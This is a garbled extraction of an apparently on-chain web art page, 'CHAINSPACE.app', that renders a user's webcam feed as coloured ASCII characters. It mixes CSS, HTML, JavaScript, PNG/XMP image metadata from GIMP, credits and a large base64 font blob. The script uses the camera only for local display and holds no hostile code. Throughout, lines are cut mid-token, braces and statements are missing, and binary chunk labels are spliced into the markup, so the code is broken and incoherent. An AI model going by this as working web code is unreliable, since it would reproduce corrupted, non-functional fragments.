p1uqNZqvd6fb6g+FoPJnO5ovlar3BhDIu5FZ5fhBG2lgXJ2lG7n6nkbpevmPR/gUth2M4cZyuxjNq4wWJx5mukY6jbpxvv3TP0LsuuQvtya0KHvvlUMAPEd1QytsD07TNb2poSsz1r4rTOEu1sUjLqEKPPTt06NypNxDlGZcEM0Hyd+mY5j9Ly7+ZDx3G2TDQrkOnLn1161Ebp6mI+4bm7ASI9AkZQItWNbGodl3qLis+hDR20EwgmFpz1TSbqWjxuMHECNqUmwMmK5xAq7EC2mUczzPhhFspTFin8z/W3zGT8eI1yMd1WunQv5e9x123IAyahxOHLnAYELthn/SmYMpidAR9z7VYNpwnFjI5NJWy1XCDIZIWxVHdHDgmxyNDkyYrKjYXlcuMus2AwGMW9ovhVwZHs70lAAA=) format('woff');
  font-weight: normal;
  font-style: normal;
    text-align: center;
    overflow: hidden;
    background: #eaeaea;
    align-items: center;
    justify-content: center;
  body.mobile #text-video {
    font-family: 'Noto Mathcastles Remix', monospace;
    pointer-events: none;
    justify-content: center;
    align-items: center;
    transform: scaleX(-1);
    -webkit-transform: scaleXM
    background: #212121;
    font-size: 18px;
    justify-content: center;
    transform: scaleX(-1);
    -webkit-transform: scaleX(-1);
    cursor: pointer;
    justify-content: center;
    pointer-events: none;
    background: #fff;
    border: 1px solid #111;
    padding: 3px 10px;
    font-family: monospace;
    cursor: pointer;
    outline: inherit;
    border-radius: 3px;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    font-family: monospace;
    text-align: center;
    margin-top: 20px;
    margin-bottom: 4px;
    background: #222;
    border-radius: 20px;
    box-shadow: 0 0 16px 0 rgba(0, 0, 0, 0.5);
    margin-bottom: 0;
    font-size: 13px;
  <div id="wrapper">
      <video id="video">Portal is closed.</video>
      <canvas id="canvas-video"></canvas>
    <div id="frame">
      <div id="text-video"></div>
      <div id="header">
 You are the art in Chainspace.app
    <button id="stop">Wave</button>
    function run() {
      function isMobM
        return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
      const video = document.getElementById('video')
      video.setAttribute('autoplay', '');
      video.setAttribute('muted', '');
      video.setAttribute('playsinline', '')
      const textVideo = document.getElementById('text-video')
      const canvas = document.getElementById('canvas-video')
      const ctx = canvas.getContext('2d', { willReadFrequently: true });
      let cyclerEnabled = false;
      let cycler = 0;
      let isMobile = isMobileDevice();
      const chars = [..."
      const colors = ["#3B3B3B", "#8D03A6", "#B802D9", "#D911FE", "#212121", ];
      let running = true;
      if (chars.length === 280) {
        cyclerEnabled = true;
      function setCanvasSize() {
        w = Math.min(window.innerWidth, 450);
        h = Math.min(window.innerHeight, isMobileDevice() ? 60M
        height = Math.floor(h / 10);
        width = Math.floor(w / 6.9);
      let resizeTimeout;
      window.onresize = function () {
        clearTimeout(resizeTimeout);
        resizeTimeout = setTimeout(setCanvasSize, 100);
      const init = () => {
        setCanvasSize();
        document.body.classList.add(isMobile ? 'mobile' : null)
        navigator.mediaDevices.getUserMedia({ video: true, audio: false })
          .then(function (stream) {
            video.srcObject = strM
            video.play();
          .catch(function (err) {
            running = false;
      const render = (ctx) => {
        if (width && height) {
          canvas.width = width;
          canvas.height = height;
          ctx.drawImage(video, 0, 0, width, height);
      const getPixelsGreyScale = (ctx) => {
        const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
        const data = imageData.data;
onst res = new Array(height).fill(0).map(() => []);
        for (let i = 0, c = 0; i < data.length; i += 4) {
          const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
          let curr = res[row]
          curr.push(avg)
          if (c < width) {
          if (c === width) {
            row += 1
        if (isMobile) {
          return res.map(row => row.slice(row.length / 4, row.length - row.length / 4));
      const getCharByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (chars.length));
        return chars[val % chars.length];
      const getColorByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (colors.length));
        return colors[val % colors.length];
      const renderText = (node, textDarkScale) => {
        let gap = isMobileDevice() ? 15 : 10;
        const gridElem = document.createElement('div');
        gridElem.clM
        gridElem.style.gridTemplateColumns = `repeat(${textDarkScale[0].length}, ${gap}px)`;
        gridElem.style.gridTemplateRows = `repeat(${textDarkScale.length}, ${gap}px)`;
        for (let i = 0; i < textDarkScale.length; i++) {
          for (let k = 0; k < textDarkScale[i].length; k++) {
            const textElem = document.createElement('p');
            textElem.style.color = getColorByScale(textDarkScale[i][k]);
            textElem.innerHTML = getCharByScale(textDarkScale[i][k]);
           gridElem.appendChild(textElem);
        node.textContent = "";
        node.appendChild(gridElem);
      const frame = () => requestAnimationFrame(() => {
        const chars = getPixelsGreyScale(ctx)
        renderText(textVideo, chars)
        if (running) {
        if (cyclerEnabled) {
          cycler+=3;
      document.getElementById('stop').addEventListener('click', (eMD
        running = !running
        if (running) {
      document.getElementById('text-video').onclick = () => {
        cyclerEnabled = !cyclerEnabled;
    window.addEventListener('DOMContentLoaded', () => {
E!zTXtRaw profile type exif
gzTXtRaw profile type iptc
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2">
 <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
  <rdf:Description rdf:about=""
    xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
    xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:GIMP="http://www.gimp.org/xmp/"
lns:tiff="http://ns.adobe.com/tiff/1.0/"
    xmlns:xmp="http://ns.adobe.com/xap/1.0/"
   xmpMM:DocumentID="gimp:docid:gimp:2429d8b1-2f99-45d4-9296-8aad85609c42"
   xmpMM:InstanceID="xmp.iid:69bb5abf-fc24-4f4c-a14a-00f1523374f1"
   xmpMM:OriginalDocumentID="xmp.did:7e551a74-92c6-44a6-8506-bd34f170730b"
   dc:Format="image/png"
   GIMP:Platform="Linux"
   GIMP:TimeStamp="1676416698846616"
   GIMP:Version="2.10.30"
   tiff:Orientation="1"
   xmp:CreatorTool="GIMP 2.10">
      stEvt:action="saved"
      stEvt:changed="/"
      stEvt:instanceID="xmp.iid:dcef2121-31a8-4330-a970-f3df2086b376"
      stEvt:softwareAgent="Gimp 2.10 (Linux)"
      stEvt:when="2023-02-15T02:18:18+03:00"/>
  </rdf:Description>







                      M





                                     M





                                                    M




text/html;charset=utf-8
a hyperportal inscribed on-chain
enter at your own risk
Conjured by el_ranye x @timshelxyz
  * Mathcastles Studios (0x113d & xaltgeist)
  * Aleksandr Kubarskii
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>CHAINSPACE.app</title>
  font-family: 'Noto Mathcastles Remix';
  src: url(data:application/font-woff2;charset=utf-8;base64,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
